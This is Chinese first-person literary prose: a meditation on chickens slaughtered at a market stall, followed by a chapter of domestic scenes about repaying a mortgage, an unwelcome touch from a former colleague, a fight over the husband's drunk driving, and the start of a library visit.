铁笼子前头,来排队买鸡的人已经快赶上了笼子里头的鸡。她们翘首盼着,盼着卖鸡的赶紧杀好剁好自己的鸡。今天,鸡笼子里头鸡的数量应该是管够了。卖鸡的已经在这条街上经营了十几年,他们的心里是有数的。 地上是拔掉的鸡毛和鸡的血水。卖鸡的娴熟地洗剥着它们洁白的身体。它们失去了知觉,躺在砧板上,躺在卖鸡的手里,任人宰割。 这卖鸡的人,一天不知道要宰杀多少只鸡,一年不知道要宰杀多少只鸡。 靠鸡吃鸡。鸡是他们的衣食父母。不知道逢年过节的时候,他们会不会敬敬他们的鸡神。他们的手上沾满了太多的血腥,不知道他们想没想过,如何通过一些手段来洗一下自己满手的罪过。他们应该不会为这些鸡们超度,除非哪一天,这些鸡的灵魂找到了他们的头上,给他们带来麻烦。假使他们真的会为那些鸡们超度,那些鸡就能活过来了吗?那些鸡真的就能升天了吗? 鸡笼子上卧着三只鸭,有一只是绿头鸭,还有两只黧花脖子的鸭。它们大概是吓坏了,它们一个扒着另一个的肩膀,把自己的嘴巴靠在另一个的肩上,跟等着要它们的性命的人正面对视着。它们趴在鸡笼子上,等待着随时毙命。在这初冬的天气里,它们比那些笼子里头的鸡更为寒冷。它们对耳边的杀戮听地更清楚,可是又有什么用。鸡笼子前头的人,猪案子前头的人,齐刷刷地站在一起,他们挑选着自己满意的猪和鸡,充满了等待和对即将到来的饕餮的欢喜。 没有人觉得自己参与了宰杀一个生命的过程。 这罪恶的人类。 跟人类一对比,才终于知道我佛慈悲。 人们衣冠楚楚,道貌岸然地站着,互相吹捧着,客气着,笑嘻嘻地看着沾满血腥的肉案子,和案子上的猪和鸡,没有人为自己的残忍感到有什么说不过去。 弱肉强食,大自然界本来就是如此。 仁者爱人,也只是针对人类。并不包括禽类兽类畜类。于是,我们就可以对它们大开杀戒,我们就可以对它们成批成批地屠宰。 我们吃地馨香甜蜜,全然不顾我们吃的也是别人的尸体。 我带着这样的心情站在鸡笼子面前等下去。 “14号好了吗?”人群里有人问。 “没有!稍等!”老板娘说。 “20号好了吗?”我也问了一句。 “没有。”老板娘说。 我的手腕被我买的那些新鲜的蔬菜坠地生疼,我希望我的20号的公鸡可以早点被宰杀好。 我一边为吃鸡的行为感到残忍,一边等着享用它们的肉身。 啊!这虚伪的人类! 又来了一个妇女,她冲着正在剁鸡的老板娘说:“给我来一只母鸡。” “好的。”老板娘伸手去鸡笼子里抓出来一只母鸡。 “啊!啊!”那只母鸡蹬着两只鸡爪惨叫着。可是有什么用呢,它的翅膀被人给钳住了,它求生不得,那两声儿惨叫是它留给这世界的最后的声音了。老板娘一手抓住它的脖子,另一只手拿起剪刀照着它的脖子一划拉,它就成了一只待宰的死鸡了。对于一只鸡来说,不能控制自己的生命,那么死地痛快一些,也是那杀鸡的人最后的慈悲了。 笼子里的鸡更害怕了。它们被头顶上的笼子紧封着,不知道该往哪儿去。它们挤在一起,即将去往同样的悲剧。它们不知道该怎么办了。 此刻,去哀求吧,去下跪吧,哀求是没有用的,下跪也是没有用的。去出卖自己的□□吧,只要能够活着,那么尊严算是什么? 可是把它的□□吃掉,吃地只剩下骨头,是人类对它的□□唯一的诉求。 哪个人能来救救我?哪个人能来放过我?它们求天天不应,求地地不灵了。它们求告无门了。它们到了这集中笼,是无处可逃了,只剩下死路一条。 既然逃无可逃,那就好生地站着,再一次显示自己的懂事与乖巧。 “喂,你挤着我了,你往旁边站站好吧,你怎么素质那么差?”左边的鸡跟右边的鸡说。 “我就挤你了,怎么了?我还踩到你头上呢。”右边的鸡说着,踩到了左边的那只鸡的头上。 “我踩,我踩,我在你头上拉一泡屎。”右边的鸡说。 鸡笼子里太挤了。那些鸡根本顾不上什么宽松的环境和新鲜的空气。 或许,一只鸡被抓出去宰杀了,对剩下来的鸡来说,倒是好的。因为一只鸡的死去为剩下的鸡腾出来不少空间和空气。让剩下的鸡可以在死前获得片刻的宽松和欢愉。 那些鸡吵着、骂着,互相排挤着、踩踏着,不知道自己的生命的结束就在今朝。那鸡笼子不是它们的栖息地,倒是禁锢它们逃向生路,把它们投向死地。 它们在拥挤的笼子里咒骂着彼此,大的欺负小的,强的欺负弱的。大的、强大的横行霸道,小的弱的被逼到了边边角角。 “哎!过去一点!过去一点!给我点地方站站啊!” “你站好,你站好!你怎么站的?你会不会站啊!要这样站,这样站地才符合规矩。” “你不想站就滚出去!三条腿儿的鸡不好找。两条腿儿的鸡到处都是!”几只鸡对另一只鸡说。 铁笼子上头卧着的鸭子被捆了手脚,它们由于直面前来杀鸡杀鸭子的人群,它们比笼子里头的那些被埋没在鸡群里的鸡要清醒地多,要淡定地多。 它们不吭声儿,只紧紧地把它们几只鸭子的身体更加紧密地靠在一起。 如果挣扎无济于事,那么就给同类在死之前以最后的温暖吧。 毕竟物以稀为贵,鸭子太贵了,吃鸭子太费钱。前来杀鸭子的人毕竟是少数。所以,鸭子相对于鸡来说,有相对多一点点的时间对这个屠宰场进行审视和观看。 14号的买家前来了,她拎着杀好的鸡满意地离去。我等地久了。就朝鸡笼子里头看去。鸡笼子里头的鸡的嘴巴上,居然被卡上了一只红色的塑料的东西。那东西是红色的,是人类发明的,专门用来卡鸡嘴儿的。多么聪明的人类啊,多么别出心裁的发明啊。这样把鸡的嘴儿给卡上,是防止它吃食,还是防止它喊叫?濒死之鸡,它的身边是没有一粒粮食的。那是为了防止它喊叫了。 它的喊叫是那么嘶哑,那么无能,“啊呀!啊呀!啊呀!”它只会这样喊叫,它连骂人都不会骂。那为什么还要给它的嘴巴卡上一个扣子呢?那只扣子将它的小尖嘴儿套牢,让它几乎不能呼吸了。是养鸡的套的,养鸡的为了杀鸡的抓鸡的时候不会伤着手套的。那红色的嘴扣子就在那只鸡的嘴巴下头,跟鸡冠子一样的颜色,不注意还真看不出来,那鸡的嘴巴下头有一个红色的卡扣。不知道的还以为是哪个好心人给那鸡做的充满爱心的装饰呢。 人怕狼虫虎豹,所以虎啸深山,也会让人觳觫。假使是人遇见了虎,那人如果不是武松,那他大概是会沦为了虎口下的食物。岂止是羊入虎口有去无回,人入虎口那结果也是差不多的。人遇见了虎,大概是会祈祷那虎自己离开,或是有神仙相助。人怕虎,所以人才敬虎。人怕鬼,所以才会请道士来开道场、做法事,跟鬼谈条件,恭恭敬敬地打送。 原来害怕里头是有尊敬的成分的。 鸡任人宰割,是仁慈还是无能?或者太仁慈也是一种无能?自古以来,妇人之仁是要不得的。项羽仁慈,被刘邦夺了天下。赵匡胤仁慈,被他亲弟弟在烛光斧影中谋杀。曹操梦中杀人,负尽天下,坐稳了他的宝榻。 一只鸡,被人吃了,人们还鄙视它。鹤立鸡群。瘦得像个腊鸡。淋得像个落汤鸡。鸡给了人们恩惠,人们却这样来侮辱一只鸡。 而老虎,它吃人,别人只会怪那被吃的人自己不小心。怪他明知山有虎,偏向虎山行。不入虎穴,焉得虎子。进虎穴是比进鸡笼子要艰难上不知道多少倍的。进虎穴要付出生命的代价,那人在进虎穴之前,就要先掂量掂量自己够不够有胆。 虎毒不食子。人们对老虎的仁慈度的要求很低的,老虎吃人是理所当然的事,只要他不吃自己的虎羔子就可以了。老虎吃人,人们却喜欢它,崇拜它。人们希望自己也是一只老虎。虎头虎脑,虎虎生威,呵呵!人们呵呵地笑着。 原来吃是神武的,被吃是可耻的。 下辈子,别做一只鸡了。做一只马蜂吧。“扛着杆子戳马蜂,能惹不能撑。”马蜂多么会保护自己呀。马蜂那么小,可是它有针,它能刺,人看见了它,都得怀着三分敬畏呢。人们不吃它,因为它没有什么给人吃的。那蜂蜜不管是它吐出来的还是它拉出来的,总之是它过了嘴儿的残余物,人们还拿着当做无上的珍品呢? 做一只苍蝇也行,人看见了苍蝇总是先把它轰走,总是不会想到吃掉它。屎壳郎,人们不会吃它。蛆虫,人们不会吃它。这些生命,它们的结局都比一只鸡强啊。 要不,就做一只吃人的老虎吧。反正不要做鸡了,做鸡有什么用呢。 我一边为这些鸡悲痛,一边盼着我的20号鸡早点被杀好,洗剥好,剁好,好让我今天的菜篮子满载而归,好让我准备好今天的菜品,来展示一个主妇的能干和完美。 我同情这些鸡,可是我还要吃鸡。我在清理鱼的时候,我也同情鱼,可是我还要吃鱼。我一时吃不起鸭子,吃不起鹅,否则,我也想吃鸭子,吃鹅。我知道这世界上的很多角落里,还有很多人被人像是杀鸡一样给宰杀,那被杀的人同样来不及哀嚎。 强大吧!强大到没有人可以把你杀死。强大吧,不管你是人还是一只鸡。 礼义廉耻,在人与鸡之间是讲不通的。一只鸡没有资格与强大的人类讲什么道理。既然鸡与人类没什么道理好讲的,那就干吧。干起来,做一只会反抗的□□。跳起来撞那关你的铁笼,不要只会乖巧地站着,不要只会惨叫,你要去啄,去咬,去跟那个胆敢去宰杀你的人拼命。干起来吧,去与人类作斗争,拼到人类足够尊重一只鸡的生命,拼到人类对一只鸡的生命充满了礼敬。 别再只知道乖乖地做一只鸡了。惨叫没用,挣扎没用。干才是最有用的。干起来吧,变得像狼虫虎豹那样让人惹不起。干起来吧,变得像妖魔鬼怪一样让人畏惧。 我悲伤一只鸡的死去,心里却盘算着下一次什么时候吃鸡,下一次吃鸡是红烧还是清汤。吃素吧,吃素就可以不杀生了,听说有人已经开始吃素了,听说吃素很贵的,可是我一时半会儿又吃不起。我只能吃肉,吃鸡。 到什么时候,我可以不再去宰杀一只鸡。 鸡笼子上头的三只鸭子趴在一起,冷眼旁观着这个世界,冷眼旁观着它面前的人对它充满了欣赏和食欲。人们喜欢它的肥胖喜欢它的健壮,用不了多久,鸭子的肉就会转移到人的身上。不仅如此,鸡肉、羊肉、狗肉、猪肉,都会转移到人的身上。 人的肉是由什么构成的,是由猪肉、牛肉、鸡肉、鸭肉构成的。这就对了。如此以来,人肉就等同于或者近似于猪肉、狗肉、羊肉、鸡肉。如此以来,人杀一只鸡,人去吃一只鸡,就等同于或是近似于狗去杀一只鸡,猪去杀一只鸡。 于是,人类对一只鸡的宰杀便符合了自然界弱肉强食的道理。于是,我对自己对这些杀戮的参与找到了一丝合乎道理的心理上的慰藉。 原来,我的身上有很多动物的成分,很多动物的成分决定了我的身上有很多动物的属性。 原来,一个人,并不比一只鸡更为高级。可是,人又是比鸡更为高级,人会把一只鸡大卸八块,加以优美地煎炒烹炸,用高雅的餐盘端上桌,拿着银的或是金的刀叉筷子吃掉它。 人是什么,人不会茹毛饮血,人是酒囊饭袋啊。 鸡是不会这些的。鸡顶多是啄人一下,它并不会对一个人进行宰杀。 人说鸡真笨。可是我突然觉得鸡更接近于我佛慈悲。它不吃肉,它食素,它绝不杀生。它以身饲虎饲人,它有足够的仁慈之心,它是更高级于人类的神。 它吃的是草啊,怎么它的身上会有那么肥美的肉呢? 它看着一个个的人,那人用杀戮填充着自己的胃。 众生平等,这是怎样的神佛才能说出来的神启啊。 到什么时候人类能尊敬一只鸡像尊敬一个人那样,那么这个世界才会真正地和平了吧。毕竟,鸡是很弱小的。毕竟,能杀死一个弱小的,就能杀死另一个同样弱小的。 到什么时候,这个世界才能没有杀戮呢?等到人不会碾死一只蚂蚁,等到人会为自己手上的另一个弱小的物种的鲜血而感到罪过。等到一只虎和一只鸡之间不存在什么高贵和低贱的区别。等到人类的心脏和双眼会为自己的杀戮而感到难堪和自责。 原来,佛真的存在。佛一直在努力地度化我们。原来,在佛祖面前,真正无知的贪婪的需要拯救的的确是我们。原来人与佛之间真的差着十万八千道法门。 普通的人无知和残忍到认识不到自己的无知和残忍。于是那最先提出仁者爱人的人被尊为先师和圣人。 为了人类,母鸡每天奋力地生蛋,公鸡每天不辞辛苦地打鸣。可是人类,说把它们轰走就把它们给轰走了。他们不管公鸡母鸡这些年的辛苦打鸣儿生蛋有没有导致伤残,他们不管母鸡的身边有没有刚孵出来需要母亲来照拂的小鸡崽,他们不管母鸡的肚子里还有没有孕育着一些蛋。他们就把它们给轰走了。 它们被养鸡的轰走,被卖鸡的当做牺牲给圈在笼子里。只等那最后的吃家一声今下,那卖鸡的就毫不迟疑地手舞足蹈地将这只鸡给宰杀。 它们勤勤恳恳为人类奉献了这么多年,它们做着与人类和平共处的美梦,它们始终天真地认为这世界是纯洁的是善良的,人类会体恤它会体恤它肚子里的卵,和刚刚破壳而出的小鸡仔。可它们终究还是高估了人类。 它们直到最后被拎起脖子来宰杀的那一刻,它才知道,人类到底有多么凶残。它们清醒了,它们惨叫,它们咒骂:“王八蛋!我为你们操劳了十年啊!我是一只老母鸡啊,我每天给你们勤勤恳恳地生蛋,我累地头发都白了。放开我!放开我!我鸡窝里还有吃奶的孩子呢!你们不是人吗?你们怎么就那么不通人性啊!我为你们劳累,你们却想着怎么宰杀我,怎么变着法儿地煎熬我!感情你们肺管子包裹的腔子里装的是狼心狗肺啊。” 鸡被人类伤了心,凉了汗。发下誓愿,下辈子再也不做人间的鸡!下辈子再也不为人间生一个蛋!我要去做天姥山的天鸡,在高高的半空,向天鸣叫。让那些以云为裳以风为马的神仙向我点头致意!我要去做卯日星官的鸡,去用我的嘴唇亲吻黎山老母的裙裾!我要去做如来佛祖的鸡,跟大鹏金翅鸟做邻居!就是不做给人类生蛋的鸡!我要做一只仙鸡、神鸡,我要让自己的蛋让人类高攀不起。 想到这些,我再也不忍心去杀一只鸡。可是我还是想吃鸡。怎么办呢?不忍心去亲自杀死一只鸡,那就去超市买一只烤□□。 至少,我不杀鸡,那鸡也不是因我而死的。 于是,我又去买了一只烤鸡。 夜里,我又做梦了。我梦见我要去剁杀一只大公鸡。我拿起刀去剁啊。我先剁它的屁股和后爪儿。我剁啊剁,那只鸡居然变成了一个白白净净的小娃娃。那娃娃躺在地上,躲避着我的刀,不哭也不闹。 佛祖啊,你来惩罚这万恶的人类吧,你来拯救这万恶的人类吧! 谁的生命不是生命!谁的儿女不是儿女! 50. 跟老公公彻底闹崩 1.老乌 晚上,我正在拖地,春霞发信息给我说:“小宋,听说银行降低房贷利率了,你的房贷利率能降下。你要去一趟你贷款的银行,和工作人员直接沟通一下。” 我说:“好的!谢谢霞姐!我最近没联系你,也是天天忙着奔跑,因为有狼追着。我现在拖地的。” 她说:“没事!没事!一切安好就行!” 我说:“有些琐事没跟你说,也是怕打扰你。有空跟你说。我现在拖地,过会儿带孩子洗澡。” 她说:“好的!记得去银行谈利息。” 我说:“知道了,谢谢霞姐。” 她说:“后面记得多存钱!” 我说:“知道了霞姐!谢谢你!” 她说:“不用谢,每个人活着都不容易。我们互相取暖,互相鼓励,勇毅前行。” 我说:“好!” 过了些日子,我请假去了一趟银行。到了贷款部,见到了一个女人。 她问我:“你干嘛?” 我说:“我来还贷款。”听到她的声音有些熟悉,我问她:“你是我之前找你办贷款的小英姐吗?” 她说:“是的。” 我说:“我听出你声音来了。” 说:“我也听出来是你了。” 我说:“时间过得多块啊,都快十年了。” 她说:“是的,你的白头发蛮多的了。” 我说:“没办法。生孩子,跟婆婆住在一起,工作上压力也大。” 她说:“你不是《小坛》的编辑吗?” 我说:“现在不是了,生完孩子就被人家给撵走了。” 她说:“你今天是来结清房贷吗?” 我说:“是的。我商贷还剩五万多,我今天想把它结清。我一直把钱留在自己手里,没舍得来还。手里总要有点钱吧。” 她说:“你有手机银行吧,我来看看。” 我把手机给她说:“你帮我看看吧,我就这点家底子了。我把商贷先还上,公积金那部分,慢慢还吧。还得五六年呢。” 她看了看说:“我先帮你预约一下吧,今天是周五,为了保险,我给你约到下周一。周一自动扣款。” 我说:“我不用再来了吗?” 她说:“不用。” 我说:“太好了。我们请假蛮有压力的。” 她说:“你不是请假有压力吗?你就星期天来一楼大厅打个结清证明,然后去市区公积金中心四楼,解押。你就先把商贷的部分解押了吧,别到时候给忘了。” 我说:“好的。我来记一下。谢谢你。” 她说:“对面墙上贴着的。你拍一下就行。” 我说:“好的。谢谢小英姐,我走了。” 事情做好了,我骑着电动车往回赶。路上,我看到了一个人,那是《小坛》的老乌,他站在我右手边。我跟他打招呼说:“乌编辑好!”他估计是没听到。我的电动车就飞过去了。我心里一想,老乌这个人还是蛮有点子的,他平时对组里的人也是相当热情,常给人出谋划策。我要不要去跟他说两句呢。听听他有没有什么高见也是好的。我就把电动车右拐,拐上了人家店面前头。那是一家大型的电动车专卖店,一个穿着工作服的女人在围着一辆车忙碌着。老乌就站在那辆车的旁边等着。 我骑着车过去说:“乌编辑!” 老乌看到我说:“你怎么在这啊?” 我说:“我去还几万块钱的贷款!我不是以前自己买的一个小房子嘛。你也离开《小坛》了哈。听说你是主动要求离开的。” 他说:“我是跟我那个同学玩地好,他现在主持那边的工作,把我叫去了。” 我说:“听说乡下轻松,适合养老。” 他说:“也不是,我现在工作量也是蛮大的。” 我说:“哦,你在这儿干嘛的啊?” 他说:“我来洗车。”我看了看,那是一辆新车,绿牌的,电动的,看起来有些豪华。 我说:“这车看起来蛮豪华的,多少钱啊?” 他说:“二十几万。” 我说:“哦,你们有钱。”我把头盔拿了下来,冬天的头盔本来很重,我也是想着跟他多说几句话。 “往这边站站。”他说。 我听了他的话,往马路牙子上停靠的汽车跟前站了站,距离那个洗车的女人和门店前的几个男人远了点。 他看了我说:“哟,你白头发蛮多的。” 我说:“我夜里要带小孩儿,昨天夜里喂了三次奶,换了三回尿不湿,自己被孩子吵醒,也睡不好了。” 他说:“你有小孩儿确实要忙的。” 我说:“要不就被人嫌弃吗,刚生完孩子一年,他们就把我弄走了!” 他用他的右胳膊碰着我的左胳膊说:“你想开点儿。” 我觉得他开始忽悠我了,我又把头盔戴上了。 他说:“他们也是有风险的,天天被人举报,都是被他们自己给平息的。他们是什么样儿的人,别人也都知道的,背后也都议论的。你就是上上班,别想那么多。想开点。” 我说:“乌编辑!我想不开。我哪里差了?今天我就在你跟前说,我的业务哪里差了?我稿一、稿二的时候,是不是业绩都是很好的?经常被表扬的?到了稿三,他们给我最差的资源,就说我搞地差了?我怎么差了?我即使是有一次考核业绩不如同类组合的,我也只是比人家差一分半分甚至零点几分,我也没有差到天上去。他们说我差,我就差了?我怀着孕,我也没有搞差?我怎么差了?” 老乌说:“是的。你工作还是非常认真的呢。跟我似的,我哪里想上乡下啊,都是我朋友让我去的!” 我说:“听说你那里自由。” 他说:“就是不用打卡,天天上自由班。” 我说:“那不是挺好的嘛,在家里准备,到点儿了去,忙完就回来。” 他说:“也没什么好啊,人家都上班,没人跟你玩。” 我说:“哦,说到底,还是《小坛》好,离家近。我是无亲无故,人家就把我给发配走了。我要是有后台,他们能这样对我吗?这两年,我也是见得多了。听说的多了。” 老乌碰着我的胳膊说:“你想开点儿。” 我说:“我想不开!我哪里差了?我贪污受贿了还是徇私舞弊了?他们怕查吧?他们怕举报吧?我不怕!他们肚子里的油水比我多!我跟他们比,我就是一朵白莲花!他们把我挤走,好给他姑奶奶祖爷爷让位置。我孩子才一岁呢,我家里还有个吃奶的孩子呢,他们一点都不给我缓,一群乌龟王八蛋!有一个通人性的吗?他们坐在一起,温和地说,‘宋大省孩子小,让她去,那里轻松,她也有时间照顾孩子。’‘是的,让她去那儿,蛮好的。’我想都想地到,他们把我发配走了,还得说是对我好。” 老乌说:“为了你的身体,你也得想开点儿。” 我说:“我是想地开,我想地开是我知道了这世上有人的心是黑的。有后台有关系的高高地往上走,像我们无权无势的低低地被往下弄。我想不开是他们这样对我。我想不开有想不开的活法儿!不是有发愤著书吗?不是有发愤著书吗?” 老乌愕然地看着我。他或许没有想到我这么刚烈和激烈。他一时也没有兴致再来碰我的胳膊了。 我越说越激愤了。我知道我跟老乌说不下去了,我也该走了。 我说:“我该走了,我请假出来的。” 老乌说:“好好好!你路上慢点!” 我骑上车走了,我忍着自己的眼泪,心里无限地委屈,激愤,我恨不得乘兴去《小坛》,扯开嗓子,把黄温勇这个老王八蛋给大骂一通。 我到了以后,跟春霞发信息说:“霞姐,我今天去把剩余的商贷给还了,谢谢你的督促。我自己懒得去,我怕请假,也怕手里没钱。” 她说:“好啊,无债一身轻。” 我又给她发信息说:“我回来的路上遇见老乌了,我跟他说了几句话。我把他们给骂了。我给你报备一下。老乌跟我说话的时候,还用他的胳膊碰我的胳膊。我怎么觉得这个有点不正常啊。” 她说:“是乌这个人碰你胳膊吗?有些男人老了,可真不像话。” 我说:“你也觉得他碰我胳膊不正常是吗?我还怕你说我敏感多疑,或是被刺激地脑子不正常了,以为每个男人都调戏我呢。不是每个啊。是认识的。老栾,老萧,老乌。老乌的牙齿像是抹了黄黄的马桶垢似的。恶心死了。这些野猪随时随地都可以发春的。他以前说跟他差不多大的那些老男人,他说都是他们老婆管地紧,否则他们那么有钱,会在外头找女人。我那时候就觉得谁会找他们啊。太自信了。自己脏地都要生蛆了,真以为不是自己老婆子管地紧,他就会被年轻女人啃地渣儿都不剩呢。他买了一辆电动车。我问他多少钱,他说二十几万。他不会觉得我看上他的钱了吧?!真恶心,就这个鳖样儿的,给我一千万我都难以下咽。我现在都觉得反胃,我要吐了。” 春霞说:“正儿八经的说实话,小宋。哪有去轻易地触碰人家的身体的。这个不允许的。身体,是最基本的界限。他有意无意地去触碰你的身体,实际上都是有意的。虽然表面上可能有的时候是无意的,但实际上还是有意的。潜意识的要求,他就要去做,嗯。” “话说回来,像我们都挣钱的,我们有自己的工作,对吧?所以我们会觉得这种人很脏很恶心,会跟他刻意地保持距离。但是,你也知道,社会上有很多女性她挣不到钱。挣不到钱,别说他这样子,有退休金的,一个月□□千的老头儿,哪怕再脏,又不亲嘴都没问题。不就是赚点儿钱嘛,对吧,还有八九十岁的老头儿。” “只要有钱,只要男的有钱,不管年龄多大,只要女的没钱,不管年龄多小,她只要想挣钱,年龄越大的越有钱的老头儿呢,反而越容易从他们那儿挣到钱。当然,我跟你说的有可能是超出你的这个想象啊,怎么会这样子呢?实际上,大千世界啊,无奇不有啊。为了钱。没钱,日子难过呢。为了钱,什么都做地出的。” 我说:“知道了,狗娘养的。眼瞎了,看不清他姑奶奶了。他姑奶奶爱吃小鲜肉,要是小鲜肉,就是没有一分钱我也喜欢。就他那个熊样子的,他就是穿着金缕玉衣我也恶心反胃。” 春霞说:“老乌老婆,我知道的,老早老早就知道了。成天待在麻将桌上,饭不吃也要去打麻将,衣服不洗也要去打麻将。听说她那个桌上常年灰蒙蒙的,就是没时间管教孩子,操持家里,成天就爱打麻将,不知道为什么,麻将瘾那么大。老栾那个家伙,他是什么情况呢?反正我是推测啊,我没有听说过他家庭情况。估计也是夫妻感情也不咋地,整天在外面聊骚,一天到晚的。你说是吧,就不像个人。” 2.端午.酒驾 周六早上,老太太看着孩子,我来买菜,包饺子。我把菜一盘盘地洗好、配好,再一盘盘地炒出来。一盘青椒肥肠,一盘蒜蓉虾,一碗冬瓜海带汤,还有买来的半只烤鸭。这是我为端午准备的周六晚餐。光是这些,已经倾尽我所有的厨艺了。我们平时下了班都是煮面,只有周末才能好好地烧一顿饭。炒完菜,我开始洗韭菜,煎鸡蛋,包饺子。老太太带着宝宝出去玩了。我一个人站在厨房里忙活。灶台上蒙上一层保鲜膜就可以放饺子了。 我包地很快,不到一会儿,那一盆韭菜馅子很快就被我包光了。我又打电话给孩子约了奶粉。 “喂!你这两天有空儿吗?宝宝的奶粉只有两罐儿了。撑不到一个星期了。” 她说:“我这几天都有空儿,你在家吗?我让我同事快十二点那会儿给你送过去。” 我说:“好的,麻烦你了!” 她说:“不客气!” 不一会儿,送奶粉的到了。我赶紧出去开门儿。我刚出屋门儿,电梯开了。老太太带着孩子跟卖奶粉的一起上来了。卖奶粉的手里拎着两箱奶粉还有一箱玩具。 “谢谢!多少钱?”我说。 “2116。”她说。 “哦,谢谢!我还烧着锅,我就不跟你客气了。” “没事儿!我也要回去了。”她说。 我看着锅洗菜,宝宝跑了过来,她跑到冰箱里拿出来一个黄色的小窝头儿,跑到客厅里玩了起来。 “宝宝!”我说,“拿过来!宝宝!”我边洗菜边说,头都没来得及转。宝宝没有回应。 老太太说:“放下!放下!手冷手冷!” 宝宝不给老太太。 “给妈妈!给妈妈!”她说。 我说:“她的手脏,别放在冰箱里了,用水冲一下,放在碗里,明天我热热吃。” 老太太说:“好的。” 哪知道宝宝拿着那个窝头朝马桶跑去,到了马桶边,一下把窝头扔进马桶里。老太太快速跟了过去,她手上正好有一个塑料袋,那是之前装那个窝头的,她手里套上塑料袋,伸手把那小窝头儿拿了出来。 “宝宝!妈妈打你屁股了。”我说。 宝宝一听,撒腿就跑。我在后头看着,她的小腿儿已经跑地很快,很有力量了。她跑到小房间里,一下子摔倒在地,她自己不起来,看着我,等着我去抱。 我看她摔地不重,就“啪啪”地拍着手说:“好!活该,太皮了!观音菩萨都要你摔倒,惩罚你了。”她自己爬了起来。 没过一会儿,她又跑到厨房,拿起灶台上一个大碗,没等我走到她跟前,“啪!”那只大碗已经落在了地上,碎成几瓣儿。 我堵住她,又要去打她的屁股,她护着屁股,惊慌失措地说:“不要打我!不要打我!奶奶!”我看她惊恐的样子,就落下了手,把她整棵抱起,树在远离那些碎碗片儿的地方,我再去收拾。 就在我低头收拾的空儿,宝宝来到了浴室,她拿着喷头朝过道里喷着水,哈哈大笑。我又跑过去捉拿她,她又笑着迅速地逃离了。 “你怎么举手投足都能干件坏事!太皮了。你真是步步生厌。”我说。 “小孩儿哦,过过就好了。你还没见过人家真正皮的呢。”老太太说着,拿着拖把去拖地上的水。宝宝看她奶奶拖地,拿着她的绿色小扫把跟了过去。她来到洗手间,把她的小扫把一下按进马桶里。我赶紧跟过去拿起她的扫把,喷上洗衣液和洁厕液就开始清洗。 “这个孩子太皮了!你是来报仇的吗?”我问她。 “不是。”她说。 “你是来报恩的吗?”我又问。 “不是。”她说。 “那你是来干嘛的?”我问她。 “我是来做捣蛋的!”她说,“混世魔王!” “都是你奶奶说你的吧。”我说。 “《西游记》里不是有一个混世魔王嘛。”老太太说。 吃过中午饭,老太太回去了。我带着孩子准备午睡了,路过那瓶绿萝的时候,宝宝伸手一抓,又把那瓶绿萝连瓶一起拽倒了。 “啊呀!啊呀!”我说。 那瓶绿萝在我的尖叫声中倒了下来,泼了一地的水。幸好,瓶子没有摔下来,我只要去拖地就行了。 下午,我带着孩子给她组装玩具。那是一辆玩具购物车,我装了一个小时才装好。 快到晚上的时候,端午发来信息说:“晚上不回来吃饭了,同事聚餐。” 我说:“同事聚餐,还是老板请客?” 端午说:“同事聚餐。” 我说:“你们同事怎么天天聚餐的?一个厂里的,比局里的还能聚!公务员都没有你们能聚!你请我,我请你!请来请去请自己!老婆孩子在家里吃水煮青菜,自己跟一伙男的在外面胡吃海塞!挣点鸟钱全塞到自己肚子里去了!你不要喝酒,不要酒驾!” 端午说:“不喝酒,就喝点饮料。” 晚上,我拖了地,带着宝宝一起吃饭。吃完饭,又带着宝宝一起洗澡。洗完澡,给宝宝喂了奶,带着她玩的时候,端午回来了。一身酒气。 “你喝酒了?你是怎么回来的?你酒驾?”我说,“你自己在外面撞死无所谓,你不要影响孩子!你以后不要回来!人渣!” “没喝酒!没喝酒!”端午说。他一头扎进洗手间。 “你一身的酒气,你还说你没喝酒!你跟你妈一样,撒谎!” “没喝就是没喝!”端午说。 “你没喝,你身上怎么有酒味儿?”我说。 “那是他们喝的。”他说。 我凑近他的嘴闻了闻说:“他们喝的酒到你嘴里了?你嘴里一股子酒味儿!在事实面前,你居然还撒谎!你害了我还不行,你又来害孩子。你自己死不足惜,你要是被查到了,留下案底,影响孩子,你就是死了生蛆我都不会管你!” “你鸟嘴能不能少说点!”端午说。 “我少说点儿?你撞着别人,人家把你凌迟都不称心!酒驾是违法的!你酒驾留下案底,害的孩子都不能考编了,任何好工作都不能考了。现在多卷?给孩子增光添彩都来不及了,你还给她抹黑!酒驾害三代!离婚都没用!你拿着我们根本没当回事儿!你就是渣男!” 宝宝看我跟他发脾气,一脸的愕然,也不想理他了。 端午洗澡去了。我跟孩子说:“他酒驾!以后不让他来了,好吗!” 宝宝说:“不让他来了!” 我给我弟弟发信息说:“端午酒驾!幸好没被查到。” 我弟弟回复说:“他这是找死!”接着,他发给我一个视频,视频里,一个女人哭着问她酒驾的丈夫说:“你知道孩子上大学多勤奋吗?” 我说:“我就是看过这个视频才知道酒驾害三代的。端午要是酒驾被查了,我上去把他打成脑震荡。 ” 端午洗完澡出来了,我问他:“你为什么酒驾?你不能找代驾吗?哪个喝醉了的都觉得自己没有喝醉。你没被查到那是你侥幸,你对我们的伤害我永远不会原谅。我们的关系本来就冷若冰霜,你现在再搞个酒驾,你把你的形象彻底给败坏光了。” 端午说:“我找的代驾,没酒驾。” 我说:“你一嘴的酒味儿居然说你没喝酒,你现在又说你没有酒驾。你谎话连篇,你说话就是放屁的。” 端午说:“那是因为我不想让你说我喝酒就说没喝酒的。我懒得和你解释。” 我说:“我现在不管你喝不喝酒。你喝地吐血,我拍手叫好。关我屁事!我只是求你不要酒驾害我的孩子。我现在对你没有任何期待,我只想让你不要再来害我们。你找了代驾是吗?你有代驾记录吗?你有截图吗?你撒谎!” 端午说:“我找了,我让我同事帮我喊的。” 我说:“截图呢?记录呢?我打车都有记录,你的代驾记录呢?你不是得自己付钱吗?你付了多少钱?” 端午说:“四十五。” 我说:“付款记录呢?没有是吧?你干违法的事儿是吧?你酒驾的时候想过孩子的未来吗?你还有脸回来?你回来你好好带孩子了?你动不动就把她往我这儿推,你还要打她。你在家里根本不想管她,你就喜欢装模作样,把她带到广场上去。不知道的还以为你是个慈父。你们全家都爱装。以后你的事不要跟我讲,你不配。我们之间只是有个孩子,除了孩子的事儿,我们老死不相往来。你要是酒驾害孩子,我们跟你断绝一切关系。这句话对你终生有效,你听到了没有?” “听到了。”端午说。 3.看书的人 一个穿着粉色冲锋衣的年轻的女孩子来借书了,她面部表情严肃,一看就知道她不苟言笑。我见过她几次,她板着脸,不爱说话,我也不知道她行啥名谁,也就很少与她搭话。她来过几次,今天又来了。 “有《聊斋志异》吗?”她说。 “之前有一个老编辑问过,好像没有。”我说。 